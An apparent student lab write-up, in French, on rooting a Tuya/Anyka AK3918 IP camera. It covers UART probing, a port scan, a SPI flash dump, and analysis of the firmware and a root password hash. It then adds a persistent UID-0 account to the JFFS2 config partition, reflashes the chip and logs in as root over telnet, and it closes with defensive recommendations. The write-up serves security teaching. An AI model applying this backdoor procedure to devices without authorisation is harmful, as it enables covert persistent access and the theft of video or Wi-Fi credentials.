SE5 IdO sécurité des objets 2026/2027 b7
Casse d'une caméra IP Tuya / Anyka AK3918
Introduction
L'objectif de ce travail est d'obtenir un accès root sur une caméra IP de surveillance construite autour d'un SoC Anyka AK3918AV130 et exploitant la plateforme Tuya, puis de rediriger son flux vidéo vers un autre appareil connecté au même réseau que la caméra.
Cette page documente la partie « accès root », obtenue en deux temps : une tentative par le port de debug UART découvert sur le PCB, puis un accès root complet via l'analyse et la modification de la mémoire flash. La partie « redirection du flux vidéo » n'est pas encore terminée et fera l'objet d'un complément ultérieur.
1. Démontage et accès UART
Après démontage du boîtier, on identifie les composants principaux de la carte :
- le SoC principal : Anyka
AK3918AV130, un ARM (arm926ejs) avec encodeur vidéo matériel et NPU pour la détection ; - la mémoire flash SPI NOR : 8 Mio (16 Mbit), boîtier SOIC-8, contenant l'intégralité du firmware ;
- le module Wi-Fi : SSV6x5x en USB ;
- le capteur vidéo, piloté par
anyka_ipc.
L'analyse du PCB fait apparaître trois pads de test non peuplés, sérigraphiés TX, RX et GND. Un fil est soudé sur chacun des trois pads, puis relié à un bridge UART-USB. Après plusieurs essais à différents baud rates, une console série s'affiche correctement au démarrage.
Cette console donne accès aux logs de boot et à un shell, mais sans privilège root, ce qui ne permet aucune action utile en l'état. Plusieurs couples d'identifiants génériques sont testés (root:root, admin:admin, etc.), sans succès.
En parallèle, un scan de ports confirme que la caméra expose déjà des services réseau :
nmap -p- <ip caméra>
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
6668/tcp open irc
Le port 6668/irc est surprenant : rien ne laisse penser à ce stade qu'un service IRC devrait tourner sur cette caméra, ce qui mériterait une investigation à part. Une connexion telnet est tentée avec les mêmes identifiants génériques, sans plus de succès :
telnet <ip caméra>
anyka login: root
Password:
Login incorrect
anyka login: admin
Password:
Login incorrect
Connection closed by foreign host.
Ni la console UART ni le réseau ne donnent donc d'accès root avec des identifiants standards. L'accès root doit être obtenu par une autre voie : l'analyse de la mémoire flash.
2. Lecture de la flash
En observant la sortie de l'UART de debug au démarrage, on constate qu'il est possible d'interrompre le boot en appuyant sur Ctrl+C dans la première seconde qui suit la mise sous tension. Cette étape est indispensable : une fois le noyau démarré, le processeur envoie en continu des instructions à la flash SPI et modifie son état en permanence, ce qui rend toute lecture sur clip impossible sans dessoudage. En interrompant le boot avant le démarrage du noyau, le processeur reste inactif vis-à-vis de la flash, qui peut alors être lue de façon fiable directement sur la carte.
U-Boot 2019.10.0-V4.0.27 (Nov 16 2025 - 22:59:15 +0800)
CPU: 960MHz
Model: EVB_CBD_AK3918AV130_V1.0.0 board
DRAM: 64 MiB
Flash: SF: Detected XM25QH64D with page size 256 Bytes, erase size 4 KiB, total 8 MiB
8 MiB
Loading Environment from SPI Flash... OK
Hit CTRL+C to stop autoboot: 0
=>
Le boot est interrompu au tout début, avant tout accès de la flash par le noyau. Au passage, la console confirme la référence exacte de la puce : une XM25QH64D (page de 256 octets, secteur d'effacement de 4 Kio, 8 Mio au total).
La flash est donc lue « sur clip », sans dessoudage, avec un programmateur CH341A et l'outil flashrom :
sudo flashrom -p ch341a -r dump1.bin
sudo flashrom -p ch341a -r dump2.bin
Deux lectures sont effectuées puis comparées par leur empreinte MD5, car une lecture SPI sur clip peut produire des octets flottants sans erreur explicite :
md5sum dump1.bin dump2.bin
# 7885c427560e628ac608181b2a7cbb19 dump1.bin
# 7885c427560e628ac608181b2a7cbb19 dump2.bin
Les deux empreintes sont identiques : le dump est exploitable. dump1.bin n'est jamais modifié directement et sert de référence pour tout retour arrière.
3. Analyse du dump
binwalk dump1.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
129407 0x1F97F Unix path: .../os/uboot/arch/arm/cpu/arm926ejs/ak3918av130/ak_module_reset.c
193828 0x2F524 Flattened device tree, size: 4313 bytes, version: 17
212992 0x34000 Flattened device tree, size: 58229 bytes, version: 17
278528 0x44000 uImage header, header size: 64 bytes, image size: 1570144 bytes,
image name: "Linux-4.4.302-cip94"
293988 0x47C64 xz compressed data
1851392 0x1C4000 Squashfs filesystem, little endian, version 4.0, compression:xz,
size: 1000275 bytes, 198 inodes
2883596 0x2C000C JFFS2 filesystem, little endian
3145728 0x300000 Squashfs filesystem, little endian, version 4.0, compression:xz,
size: 4736412 bytes, 276 inodes
On en déduit le découpage de la flash :
| Offset | Taille | Contenu | Système de fichiers |
|---|---|---|---|
0x000000 |
224 Kio | u-boot (+ variable d'environnement) | — |
0x034000 |
58 Kio | device tree (DTB) | — |
0x044000 |
1533 Kio | noyau Linux 4.4.302-cip94 (image uImage) |
— |
0x1C4000 |
1000 Kio | système de base (monté sur /) |
squashfs (xz)
|
0x2C0000 |
256 Kio | configuration (montée sur /etc/config) |
JFFS2
|
0x300000 |
4625 Kio | applications (montées sur /usr) |
squashfs (xz)
|
Les deux systèmes de fichiers squashfs sont en lecture seule : aucune modification persistante n'est possible de ce côté. Toute la persistance passe donc par la partition JFFS2 de 256 Kio, seule partition inscriptible.
4. Localisation des identifiants
binwalk -e dump1.bin
_dump.bin.extracted/
├── 44000/Linux-4.4.302-cip94.bin # noyau
├── 1C4000/squashfs-root/ # système de base (198 inodes)
├── 2C000C/jffs2-root/ # configuration (à modifier)
│ ├── passwd shadow group # comptes locaux
│ ├── hostapd.conf / wpa_supplicant.conf
│ └── tuya_user.db, tuya_enckey.db, ...
└── 300000/squashfs-root/ # applications (276 inodes)
Le script de démarrage /etc/init.d/rc.local monte la partition CONFIG en jffs2 sur /etc/config, et les fichiers sensibles de /etc ne sont que des liens symboliques vers cette partition :
/etc/passwd -> config/passwd
/etc/shadow -> config/shadow
Conséquence directe : modifier /etc/passwd ou /etc/shadow dans le squashfs n'a aucun effet, celui-ci étant en lecture seule et de toute façon masqué par le montage. Il faut modifier le contenu de la partition JFFS2 puis réécrire l'image complète dans la flash.
Le fichier wpa_supplicant.conf de cette même partition contient en clair le SSID et le mot de passe du réseau Wi-Fi auquel la caméra est connectée. Un attaquant qui n'aurait pas encore accès à ce réseau peut donc s'y connecter directement à partir de ces identifiants, sans avoir besoin de les casser.
5. Le hash root du constructeur
Le fichier shadow de la partition de configuration contient le mot de passe du compte root :
root:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:18943:0:99999:7:::
Le préfixe $1$ désigne MD5-crypt, avec le sel kxUiQwgS. Une recherche exhaustive sur 4 caractères ainsi que les identifiants trouvés en clair dans le firmware (ht1234567, HT_IPCAM, admin…) n'ont pas permis de retrouver le mot de passe. Ce n'est pas bloquant : la caméra n'a pas besoin d'être déverrouillée pour être compromise, puisque le mot de passe peut simplement être remplacé dans la partition de configuration.
6. Fonctionnalités de debug déjà présentes
Avant toute modification, le firmware active déjà, à chaque démarrage, des fonctionnalités de debug via service.sh :
tcpsvd 0 21 ftpd -w / -t 1800 &
telnetd &
cp /usr/local/shadow /etc/config/shadow -f
Trois conséquences :
- un serveur FTP anonyme écoute sur le port 21, avec un accès
rooten lecture/écriture sur toute l'arborescence ; - un serveur telnet écoute sur le port 23 ;
- à chaque démarrage,
/etc/config/shadowest écrasé par la copie d'usine/usr/local/shadow— un mot de passe ajouté dansshadowserait donc effacé au redémarrage suivant./etc/passwd, lui, n'est jamais réécrit : c'est cet emplacement qui permettra la persistance.
7. Ajout d'un compte root persistant
On ajoute une ligne dans etc/passwd, dans une copie du dossier jffs2-root/ :
root:x:0:0:root:/:/bin/sh
talkech:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:0:0::/root:/bin/sh
Le hash est généré sur la machine de travail :
openssl passwd -1 -salt kxUiQwgS 'motdepasse'
# $1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/
Le compte talkech reprend l'UID/GID 0 (équivalent root). Le hash est placé directement dans passwd plutôt que dans shadow : comme shadow est réécrit à chaque démarrage par la copie d'usine (section 6), un mot de passe qui y serait ajouté disparaîtrait immédiatement, alors que passwd n'est jamais touché. C'est ce qui rend le compte persistant après redémarrage.
8. Reconstruction et réinjection de l'image JFFS2
Le dossier modifié est rempaqueté avec mkfs.jffs2 :
sudo /usr/sbin/mkfs.jffs2 -d jffs2-root/ -o new_jffs2.img \
--eraseblock=0x40000 --pagesize=0x1000 -l -n -X lzo
puis réinjecté dans une copie du dump, à l'offset exact de la partition CONFIG :
cp dump1.bin newfirmware.bin
dd if=new_jffs2.img of=newfirmware.bin bs=1 seek=$((0x2C000C)) conv=notrunc
conv=notrunc est indispensable, sinon dd tronque le fichier de sortie et le reste du firmware est perdu. L'offset 0x2C000C (et non 0x2C0000) correspond au premier nœud JFFS2 rapporté par binwalk, les 12 premiers octets de la partition étant occupés par le cleanmarker du constructeur.
Vérification que l'écriture a eu lieu au bon endroit :
cmp dump1.bin newfirmware.bin
# dump1.bin newfirmware.bin differ: byte 2883599, line 11834
9. Reflashage et vérification
L'image modifiée est réécrite dans la flash avec le même programmateur, puis relue pour vérification :
sudo flashrom -p ch341a -w newfirmware.bin
sudo flashrom -p ch341a -r verif.bin
md5sum newfirmware.bin verif.bin
Le compte ajouté est bien retrouvé dans la flash après reflashage :
grep -abo "talkech" verif.bin
# 2906206:talkech
dd if=verif.bin bs=1 skip=$((0x2C57DE)) count=200 2>/dev/null | strings -a
# root:x:0:0:root:/:/bin/sh
# talkech:$1$kxUiQwgS$MMsuX6wYby21DIb/P0Xc6/:0:0::/root:/bin/sh
10. Connexion root via telnet
Une fois la caméra reflashée, remontée et reconnectée au réseau, le compte ajouté à la section 7 permet de se connecter en root directement par telnet, sans repasser par le programmateur SPI :
telnet <ip caméra>
anyka login: talkech
Password:
# whoami
root
11. Conclusion
La caméra n'offre aucune protection matérielle de son firmware : la flash SPI est lisible et inscriptible directement sur la carte, et le micrologiciel n'est ni signé ni chiffré. La reconstruction de la partition JFFS2 permet de créer un compte root persistant sans casser le mot de passe d'usine, en exploitant le fait que /etc/passwd n'est jamais restauré au démarrage contrairement à shadow.
Le firmware active en plus, par défaut, un serveur FTP anonyme en root et un serveur telnet, déjà repérés par le scan réseau initial (section 1) : la modification de la partition CONFIG n'est donc pas nécessaire pour un attaquant déjà présent sur le réseau, elle rend surtout l'accès robuste aux redémarrages.
Côté défense : désactiver ftpd, telnetd et les modes de debug dans les scripts d'initialisation, ne pas restaurer les identifiants depuis une partition en lecture seule, ne pas stocker le SSID et le mot de passe Wi-Fi en clair dans wpa_supplicant.conf, imposer un mot de passe unique à la première installation, et activer le démarrage sécurisé / le chiffrement de la flash lorsque le SoC le permet.
La suite (redirection du flux vidéo vers un autre appareil du réseau) fera l'objet d'une prochaine mise à jour de cette page.